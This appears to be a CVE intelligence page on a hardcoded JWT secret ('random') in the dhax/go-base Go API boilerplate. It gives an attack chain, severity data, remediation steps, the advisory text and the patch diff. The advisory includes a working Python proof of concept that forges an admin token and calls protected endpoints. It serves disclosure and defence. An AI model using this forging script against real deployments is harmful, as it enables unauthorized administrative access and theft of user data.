Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessIdentify go-base-derived API endpoint
-
DeliveryRead hardcoded 'random' secret from public repo
-
ExploitForge HS256 JWT with admin claims
-
ExecutionSend Bearer token to protected endpoint
-
PersistRefresh token to maintain access
-
ImpactExfiltrate or modify user data
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A07:2025 - Authentication Failures
ASVS 5.0
V6 - Authentication Credential externalization
MITRE ATT&CK
2 techniques across 2 tactics: Persistence, Credential Access The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | The target must be a running deployment of dhax/go-base (or a downstream fork) whose AUTH_JWT_SECRET configuration value resolves to the literal string 'random' - either because the operator copied dev.env unchanged, omitted the variable entirely so the Viper default in cmd/serve.go:35 takes effect, or otherwise failed to override it. The JWT auth endpoints (e.g., /api/v1/me, /api/v1/admin/*, /api/v1/token/refresh) must be network-reachable to the attacker. No authentication, no user interaction, and no special configuration beyond the default are required (CVSS AV:N/AC:L/PR:N/UI:N). Exploitation is limited where operators have already rotated AUTH_JWT_SECRET to a strong value, where the prior in-memory auto-replacement happened to be active and the server has been running long enough that tokens are signed with the ephemeral key (in which case the attacker must instead predict that ephemeral key, which is infeasible), or where the API is not exposed beyond a trusted network. |
| Impact | CVSS 9.1 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N) reflects fully remote, unauthenticated, low-complexity exploitation with high confidentiality and integrity impact and no availability impact - consistent with token forgery rather than service disruption. No EPSS score, CISA KEV listing, or SSVC decision data is supplied, so widespread exploitation cannot be confirmed; however, publicly available exploit code exists (a working Python PoC is published in the advisory) and the signing secret is literally visible in the public source repository, making practical exploitation trivial against any deployment that retained the default. Real-world risk is constrained by deployment footprint: go-base is a boilerplate/template, so exposure depends on how many downstream forks actually shipped to production without rotating AUTH_JWT_SECRET. Defenders should treat any internet-exposed go-base-derived API as high priority despite the lack of KEV signal. |
| Exploit ScenarioDerived | An attacker enumerates internet-exposed APIs derived from go-base, reads the public repository to recover the hardcoded HS256 secret 'random', and uses the published Python PoC (PyJWT-based) to mint a JWT with claims such as sub=admin@example.com and roles=['admin'] and an arbitrarily distant expiry. They then submit the forged Bearer token to admin endpoints like /api/v1/admin/users to enumerate accounts and to /api/v1/token/refresh to obtain fresh tokens, achieving persistent admin-level access without ever interacting with login or password reset flows. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Jun 10, 2026
Authentication bypass in dhax/go-base Go REST API boilerplate (versions prior to commit cc82b974, merged May 17, 2026) allows remote unauthenticated attackers to forge JWT tokens for arbitrary users including administrators. The signing secret is hardcoded to the literal string 'random' in both the dev.env template and as a Viper default in cmd/serve.go, and publicly available exploit code exists in the advisory. No CISA KEV listing or EPSS data is provided, but the secret is trivially derivable from the public GitHub repository.
RemediationAI
Upgrade to the fixed Go pseudo-version 0.0.0-20260517152733-cc82b9740fa6 or later by pulling the current master, which includes PR #31 (https://github.com/dhax/go-base/pull/31) and commit cc82b9740fa6b08e0fad409cd4b418e240dd0e00; the fix replaces the single-value check with a known-weak-secrets denylist ('random', 'secret', 'changeme', 'change-me', 'default', empty), enforces a 32-character minimum, removes non-persistent auto-generation, and instructs operators to set AUTH_JWT_SECRET to the output of 'openssl rand -base64 64'. After patching, rotate AUTH_JWT_SECRET to a strong value and restart, which will invalidate all existing tokens (including any forged ones) and force users to re-authenticate. If immediate patching is not possible, set a strong AUTH_JWT_SECRET environment variable to override the Viper default and audit dev.env for the literal 'random'; note this is a configuration-only mitigation that does not address the underlying code defect and depends on every operator and CI environment overriding the default. Consult the vendor advisory at https://github.com/dhax/go-base/security/advisories/GHSA-mqq6-462x-jxmm for full guidance.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in go
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The affected component is github.com/dhax/go-base, a Go REST API scaffolding project (1,685 stars) built on go-chi/jwtauth/v5, Viper for configuration, and PostgreSQL/Bun. The root cause is CWE-798 (Use of Hard-coded Credentials): the HMAC-SHA256 JWT signing key defaults to the string 'random' both in the shipped dev.env file (line 10) and as a programmatic Viper default in cmd/serve.go:35. A prior in-code mitigation in auth/jwt/tokenauth.go:22-25 only checked the exact literal 'random' and replaced it with a non-persistent randomly-generated 32-byte key, which failed open against other weak secrets (e.g., 'secret', 'changeme', empty string) and additionally caused session-wide invalidation on every restart. The CPE pkg:go/github.com_dhax_go-base identifies the affected Go module.
Know when PostgreSQL gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
Primary rating from Vendor (https://github.com/dhax/go-base).
CVSS VectorVendor: https://github.com/dhax/go-base
DescriptionCVE.org
Vulnerability: CWE-798 - Hardcoded JWT Secret + Broken Mitigation
Affected Component
github.com/dhax/go-base- Go REST API boilerplate (go-chi/jwtauth/v5, Viper, PostgreSQL/Bun)- 1,685 stars on GitHub
Vulnerability Locations
| File | Line | Role |
|---|---|---|
dev.env | 10 | AUTH_JWT_SECRET=random - template default shipped to all users |
cmd/serve.go | 35 | viper.SetDefault("auth_jwt_secret", "random") - code-level fallback |
auth/jwt/tokenauth.go | 22-25 | Weak mitigation: only checked literal "random", auto-generated non-persistent key |
auth/jwt/tokenauth.go | 28 | jwtauth.New("HS256", []byte(secret), nil) - creates JWT signer with the weak key |
pwdless/api.go | 203 | GenTokenPair() - issues access + refresh tokens signed with the weak key |
Data Flow
dev.env AUTH_JWT_SECRET=random
OR
cmd/serve.go viper.SetDefault("auth_jwt_secret", "random")
│
▼
auth/jwt/tokenauth.go: viper.GetString("auth_jwt_secret")
│
▼
auth/jwt/tokenauth.go: jwtauth.New("HS256", []byte(secret), nil)
│
▼
pwdless/api.go: GenTokenPair() → access + refresh tokens
│
▼
jwt/authenticator.go: Every authenticated request trusts the forged tokenDescription
The JWT signing secret is hardcoded to the string "random" in two independent locations:
dev.env:10- The template.envfile setsAUTH_JWT_SECRET=random. Every developer who copies this template gets the same default.cmd/serve.go:35-viper.SetDefault("auth_jwt_secret", "random")provides a programmatic fallback. Even if the.envfile is missing entirely, the application silently starts with"random"as the signing key.
The original code contained a mitigation in auth/jwt/tokenauth.go:22-25 that checked if the secret equaled "random" and replaced it with a randomly-generated 32-byte string. This mitigation had two fatal flaws:
- (a) Single-value check: Only the exact string
"random"was caught. Any other weak secret (e.g.,"secret","changeme", empty string) passed through unchecked. - (b) Non-persistent replacement: The auto-generated key was stored only in memory (
randStringBytes(32)), not persisted. On every restart, all existing tokens became invalid without warning, breaking all active user sessions. This made the "fix" itself a denial-of-service.
An attacker who reads the public repository knows the signing key is "random". They can forge JWT tokens for arbitrary users (including admin roles), gaining complete authentication bypass on all protected API endpoints.
Proof of Concept
import jwt
import requests
# The hardcoded secret from dev.env / serve.go (public repository)
SECRET = "random"
BASE_URL = "http://target:3000"
# Step 1: Forge an admin JWT token
payload = {
"sub": "admin@example.com",
"roles": ["admin"],
"iat": 9999999000,
"exp": 9999999999
}
forged_token = jwt.encode(payload, SECRET, algorithm="HS256")
# Step 2: Access any protected endpoint with the forged token
headers = {"Authorization": f"Bearer {forged_token}"}
# List all users (requires admin)
r = requests.get(f"{BASE_URL}/api/v1/admin/users", headers=headers)
print(f"Status: {r.status_code}")
# 200 OK
# Access own profile with forged identity
r = requests.get(f"{BASE_URL}/api/v1/me", headers=headers)
print(f"Profile: {r.json()}")
# Returns admin@example.com profile
# The forged token is also accepted by refresh endpoints
r = requests.post(f"{BASE_URL}/api/v1/token/refresh", headers=headers)
# Returns a new valid token signed with the same "random" secretImpact
- Authentication Bypass: Forge tokens for any user, including admin roles
- Confidentiality: Access all user data, profiles, and protected resources
- Integrity: Modify any data accessible via the API
- Persistence: Forged tokens remain valid until expiry (or indefinitely via refresh)
Fix (PR #31)
The fix replaced the single-value check with a comprehensive approach:
// BEFORE (tokenauth.go:22-25) - weak, single-value check
if secret == "random" {
secret = randStringBytes(32) // non-persistent, breaks on restart
}
// AFTER - comprehensive known-weak-secrets map
var knownWeakSecrets = map[string]bool{
"random": true,
"secret": true,
"changeme": true,
"change-me": true,
"default": true,
"": true,
}
if knownWeakSecrets[secret] {
log.Fatal("JWT secret is a known weak value. Please set a strong AUTH_JWT_SECRET.")
}Plus: minimum 32-character length check, removal of non-persistent auto-generation, and clear generation instructions (openssl rand -base64 32) in the template.
Patched Versions
- All versions after commit range including PR#31 (merged May 17, 2026).
- Users should update to the latest master, regenerate their JWT secret, and restart.
Resources
- Fix PR: https://github.com/dhax/go-base/pull/31
- Commit history: https://github.com/dhax/go-base/commits/master
Credit
Reported by @saaa99999999 via manual security audit.
Articles & Coverage 5
Executive ViewAI
Applications built with dhax/go-base REST API boilerplate are vulnerable to remote authentication bypass that allows attackers to forge administrative JWT tokens without credentials; publicly available exploit code exists. This exposes all customer-facing services, internal tools, and data systems to unauthorized access and privilege escalation. Organizations must immediately identify affected deployments and apply the available patch to prevent credential forgery and account takeover incidents.
Apply vendor patch.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Authentication bypass attacks exploit flaws in the verification mechanisms that control access to systems and applications.
More in PostgreSQL
View allPostgreSQL libpq functions PQescapeLiteral(), PQescapeIdentifier(), PQescapeString(), and PQescapeStringConn() improperl
An issue was discovered in Appsmith before 1.52. Rated critical severity (CVSS 9.8), this vulnerability is remotely expl
Argument injection vulnerability in PostgreSQL 9.2.x before 9.2.4, 9.1.x before 9.1.9, and 9.0.x before 9.0.13 allows re
Unauthenticated arbitrary file write in Splunk Enterprise (below 10.2.4 and 10.0.7) and Splunk Cloud Platform (below 10.
Unauthenticated SQL injection in Sangoma Switchvox SMB Edition 8.3 (build 104997) lets remote attackers execute arbitrar
PostgreSQL versions before 9.2.22, 9.3.18, 9.4.13, 9.5.8 and 9.6.4 are vulnerable to incorrect authentication flaw allow
The build_tablename function in pgsql.c in the PostgreSQL (aka pgsql) extension in PHP through 5.6.7 does not validate t
A vulnerability in the h2oai/h2o-3 REST API versions 3.46.0.4 allows unauthenticated remote attackers to execute arbitra
In PostgreSQL 9.3 through 11.2, the "COPY TO/FROM PROGRAM" function allows superusers and users in the 'pg_execute_serve
Unauthenticated SQL injection in Vendure Shop API allows remote attackers to execute arbitrary SQL commands against the
Parse Server is an open source http web server backend. Rated critical severity (CVSS 10.0), this vulnerability is remot
Hard-coded default PostgreSQL credentials shipped in the docker-compose.yaml of langgenius Dify through version 1.5.1 al
Same weakness CWE-798 – Use of Hard-coded Credentials
View allSame technique Authentication Bypass
View allVendor StatusVendor
SUSE
Severity: Critical| Product | Status |
|---|---|
| SUSE Linux Enterprise Server 16.1 | Affected |
| SUSE Linux Enterprise Server for SAP applications 16.1 | Affected |
| SUSE Linux Enterprise Module for Package Hub 15 SP5 | Affected |
| SUSE Linux Enterprise Module for Package Hub 15 SP6 | Affected |
| openSUSE Leap 15.5 | Affected |
| openSUSE Leap 15.6 | Affected |
EUVD-2026-52408
GHSA-mqq6-462x-jxmm
NVD
CVE.org
EPSS
VulDB
Exploit-DB